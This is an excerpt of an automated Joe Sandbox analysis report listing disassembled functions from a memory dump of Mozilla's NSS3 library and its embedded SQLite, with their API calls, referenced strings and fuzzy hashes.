PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C64C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C64C8D5
free.MOZGLUE(00000000), ref: 6C64C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C64C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64C9E5
free.MOZGLUE(00000000), ref: 6C64CA5A

Strings

Vendor NSS FIPS Interface, xrefs: 6C64C34A
NSS_ReturnModuleSpecData, xrefs: 6C64C275
NSC_GetFunctionList, xrefs: 6C64C093
NSC_ModuleDBFunc, xrefs: 6C64C0FC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C64C38D
FC_GetInterface, xrefs: 6C64C054
nss_mod_log, xrefs: 6C64C3CC
NSS_DISABLE_UNLOAD, xrefs: 6C64C7B0
PKCS 11, xrefs: 6C64C2F9, 6C64C314
FC_GetFunctionList, xrefs: 6C64C098
NSS_FORCE_TOKEN_LOCK, xrefs: 6C64C77D
NSC_GetInterface, xrefs: 6C64C04F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: bdbc4ce91d76f53091b97bdaa5fd4cf8878b6c45479f989a8632a2ca78d66928
Instruction ID: 73e9bde1753018381597a292a90e9e537790ea3b9df71fea8f503a88332f7bbd
Opcode Fuzzy Hash: bdbc4ce91d76f53091b97bdaa5fd4cf8878b6c45479f989a8632a2ca78d66928
Instruction Fuzzy Hash: AF42ADB1B04218EFDF06DF64C84AB5A3BB1BB46348F15C038D9169BB21E731D558CBA9

Function 6C723FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C723FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C723FFE
malloc.MOZGLUE(-00000003), ref: 6C724016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C75FC62), ref: 6C72404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C72407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7240A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7240D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C724112
malloc.MOZGLUE(00000000), ref: 6C72411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C72414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C724160
free.MOZGLUE(?), ref: 6C72416C
malloc.MOZGLUE(?), ref: 6C7241AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7241EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C724520), ref: 6C724244
GetEnvironmentStrings.KERNEL32 ref: 6C72424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C724263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C724283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7242B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7242E4
malloc.MOZGLUE(00000002), ref: 6C7242FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C724342
GetStdHandle.KERNEL32(000000F6), ref: 6C7243AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7243B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7243B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C724403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C724410

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C72445E
CloseHandle.KERNEL32(?), ref: 6C72446B
free.MOZGLUE(?), ref: 6C724482
free.MOZGLUE(00000000), ref: 6C724492
free.MOZGLUE(00000000), ref: 6C7244A4
GetLastError.KERNEL32 ref: 6C7244B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7244BE
free.MOZGLUE(?), ref: 6C7244C7
free.MOZGLUE(00000000), ref: 6C7244D5
free.MOZGLUE(00000000), ref: 6C7244EA

Strings

=, xrefs: 6C7244F8
D, xrefs: 6C724396
NSPR_INHERIT_FDS=, xrefs: 6C7241E9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 413709bf18089a65301a8ae446a8b376a12128470e0a206656fa441984efeb8f
Instruction ID: 36435339a27abc71df68567f3aad56778014c519e980a7fac6b9a78b7a4bd5a8
Opcode Fuzzy Hash: 413709bf18089a65301a8ae446a8b376a12128470e0a206656fa441984efeb8f
Instruction Fuzzy Hash: 16020470E043559BEF10CF6ACE847AEBBB4AF06348F244179DC6AA7742D734A844DB91

Function 6C674840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C65601B,?,00000000,?), ref: 6C67486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6748A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6748BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6748DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6748F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C67490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C674919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C67493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6749A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6749AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6749D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6749F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C674A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C674A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C674A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C674A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C674A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C674A81
free.MOZGLUE(00000000), ref: 6C674AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C674ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C674ADC
free.MOZGLUE(00000000), ref: 6C674B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C674B33

Part of subcall function 6C674120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67413D
Part of subcall function 6C674120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C674162
Part of subcall function 6C674120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67416B
Part of subcall function 6C674120: PL_strncasecmp.NSS3(2Bgl,?,00000001), ref: 6C674187
Part of subcall function 6C674120: NSSUTIL_ArgSkipParameter.NSS3(2Bgl), ref: 6C6741A0
Part of subcall function 6C674120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6741B4
Part of subcall function 6C674120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6741CC
Part of subcall function 6C674120: NSSUTIL_ArgFetchValue.NSS3(2Bgl,?), ref: 6C674203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C674B53
free.MOZGLUE(00000000), ref: 6C674B94
free.MOZGLUE(?), ref: 6C674BA7
free.MOZGLUE(00000000), ref: 6C674BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674BC8

Strings

rootFlags, xrefs: 6C674AB9, 6C674B2E
askpw, xrefs: 6C674A4A
slotFlags, xrefs: 6C674A22
every, xrefs: 6C674A66
hasRootTrust, xrefs: 6C674B4D
timeout, xrefs: 6C674A38, 6C674A7B
hasRootCerts, xrefs: 6C674AD6

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 70b03fce7241e43aec4f418b1ed21e18edbbc81d2395c823223c3945ab231372
Instruction ID: 2cefe320a3e850c5678cf6469eaddea76ebbcd897dae5981ab502ae761214170
Opcode Fuzzy Hash: 70b03fce7241e43aec4f418b1ed21e18edbbc81d2395c823223c3945ab231372
Instruction Fuzzy Hash: 39C11670E052559BEF20CF699C48BBE7BB8AF06308F140865E855A7701E7A1DD14CFB9

Function 6C636D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C73A8EC,0000006C), ref: 6C636DC6
memcpy.VCRUNTIME140(?,6C73A958,0000006C), ref: 6C636DDB
memcpy.VCRUNTIME140(?,6C73A9C4,00000078), ref: 6C636DF1
memcpy.VCRUNTIME140(?,6C73AA3C,0000006C), ref: 6C636E06
memcpy.VCRUNTIME140(?,6C73AAA8,00000060), ref: 6C636E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C636E38

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C636E76
TlsGetValue.KERNEL32 ref: 6C63726F
EnterCriticalSection.KERNEL32(?), ref: 6C637283

Strings

!, xrefs: 6C637123

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 8d4b6f0357a8ee53c29764634f51b7bcf2066b93549dc8fad2cc3ac393f73bc1
Instruction ID: e7070d058e25b8dc0270602386ce539dfc2b734540e998fdcf40238c4dfdbe07
Opcode Fuzzy Hash: 8d4b6f0357a8ee53c29764634f51b7bcf2066b93549dc8fad2cc3ac393f73bc1
Instruction Fuzzy Hash: BA728DB5D05228DBDF60CF28CC8879ABBB5BF49304F1451A9D80DA7741EB31AA84CF95

Function 6C5A3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5A3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5A410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5A449C

Strings

%s at line %d of [%.10s], xrefs: 6C5A4495, 6C5A44F9, 6C5A459E, 6C5A4769, 6C5A4809
database corruption, xrefs: 6C5A4490, 6C5A44F4, 6C5A4599, 6C5A4764, 6C5A4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A4452, 6C5A4486, 6C5A44EA, 6C5A4571, 6C5A4580, 6C5A458F, 6C5A475A, 6C5A47FA

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 76a07638d72daf3d4cfcbea82f245b1b730e6398a23e133c29cad8b1e4d4563d
Instruction ID: c5fc483b23d732edfd81905a27200cabe4e08a0d1bd1ce961519d99031ddd886
Opcode Fuzzy Hash: 76a07638d72daf3d4cfcbea82f245b1b730e6398a23e133c29cad8b1e4d4563d
Instruction Fuzzy Hash: 71826E75A00205DFCB04CFEAC980B9DB7B2BF49318F2595A9D905ABB51DB31EC42CB91

Function 6C67AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C67ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C67ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C67ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C67AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C67ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67ADF0

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C67B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C67B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C67B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67B40C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 27bddd984693c0260547a29cc0070546f42a36236d7a01f1ac3ed7af6297d3b8
Instruction ID: 53f918ea0c9602adf434bdddad13d49235c77451af5b65664301d6483fde2ff3
Opcode Fuzzy Hash: 27bddd984693c0260547a29cc0070546f42a36236d7a01f1ac3ed7af6297d3b8
Instruction Fuzzy Hash: 8722B271904300AFE720CF14CC44B9A77E1AF8530CF24896CE9595B792E772E859CBAE

Function 6C5C1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5C25F3

Strings

too many references to "%s": max 65535, xrefs: 6C5C2FB6
H, xrefs: 6C5C329F
'%s' is not a function, xrefs: 6C5C2FD2
no such index: "%s", xrefs: 6C5C319D
a NATURAL join may not have an ON or USING clause, xrefs: 6C5C32C1
%s.%s, xrefs: 6C5C2D68
no such table: %s, xrefs: 6C5C26AC
unsafe use of virtual table "%s", xrefs: 6C5C30D1
too many columns in result set, xrefs: 6C5C3012
H, xrefs: 6C5C322D
access to view "%s" prohibited, xrefs: 6C5C2F4A
multiple recursive references: %s, xrefs: 6C5C22E0
recursive reference in a subquery: %s, xrefs: 6C5C22E5
no tables specified, xrefs: 6C5C26BE
%s.%s.%s, xrefs: 6C5C302D
cannot have both ON and USING clauses in the same join, xrefs: 6C5C32B5
cannot join using column %s - column not present in both tables, xrefs: 6C5C32AB
table %s has %d values for %d columns, xrefs: 6C5C316C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 7df354144a82cf7fb0304bfa92b4a1c0eff684ec5c09623f0c28f45857cef96d
Instruction ID: 62339ddeb6968b9927c40a6815d27aec6733bb48afcae21e98ef0f3e0bd2d027
Opcode Fuzzy Hash: 7df354144a82cf7fb0304bfa92b4a1c0eff684ec5c09623f0c28f45857cef96d
Instruction Fuzzy Hash: 52D25A74F04209CFDB04CF99CC84A9DB7B2BF89308F28916DD855ABB51D735A846CB52

Function 6C5FECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5FED38

Part of subcall function 6C594F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C594FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C5FEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C5FEFE4

Part of subcall function 6C6BDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C595001,?,00000003,00000000), ref: 6C6BDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C5FF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C5FF129
sqlite3_mprintf.NSS3(optimize), ref: 6C5FF1D1
sqlite3_free.NSS3(?), ref: 6C5FF368

Strings

fts3, xrefs: 6C5FF247
fts3tokenize, xrefs: 6C5FF30F
fts4, xrefs: 6C5FF2AD
matchinfo, xrefs: 6C5FF04F, 6C5FF082, 6C5FF0C2, 6C5FF0F2, 6C5FF124, 6C5FF169
unicode61, xrefs: 6C5FEDB5
fts3_tokenizer, xrefs: 6C5FEE1A, 6C5FEEA8
snippet, xrefs: 6C5FEF05, 6C5FEF37, 6C5FEF7C
simple, xrefs: 6C5FED79
optimize, xrefs: 6C5FF199, 6C5FF1CC, 6C5FF211
porter, xrefs: 6C5FED97
fts4aux, xrefs: 6C5FECF9
offsets, xrefs: 6C5FEFAF, 6C5FEFDF, 6C5FF01F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2a64fbbdb56ef5573d4d213d59af7a2ed1ead067a1d2413396ac958fd401b2fa
Instruction ID: 81da036f6b5106969496f282287524cd30b404fabd01ccbdfd0c0a1601f57cfd
Opcode Fuzzy Hash: 2a64fbbdb56ef5573d4d213d59af7a2ed1ead067a1d2413396ac958fd401b2fa
Instruction Fuzzy Hash: 8702B3B1B043418BE7089E719C8573B36E57BC5708F14863CD86A87F45EB75E846CB92

Function 6C677C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C677C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C677C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C677D1E

Part of subcall function 6C677870: SECOID_FindOID_Util.NSS3(?,?,?,6C6791C5), ref: 6C67788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C677D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C677D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C677DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C677DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C677E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C677E58

Part of subcall function 6C677870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6791C5), ref: 6C6778BB
Part of subcall function 6C677870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6791C5), ref: 6C6778FA
Part of subcall function 6C677870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C677930
Part of subcall function 6C677870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C677951
Part of subcall function 6C677870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C677964
Part of subcall function 6C677870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C67797A
Part of subcall function 6C677870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C677988
Part of subcall function 6C677870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C677998
Part of subcall function 6C677870: free.MOZGLUE(00000000), ref: 6C6779A7
Part of subcall function 6C677870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6791C5), ref: 6C6779BB
Part of subcall function 6C677870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6791C5), ref: 6C6779CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C677E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C677F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C677FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C677FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C678038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C678050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C678093
SECOID_FindOID_Util.NSS3 ref: 6C677F29

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
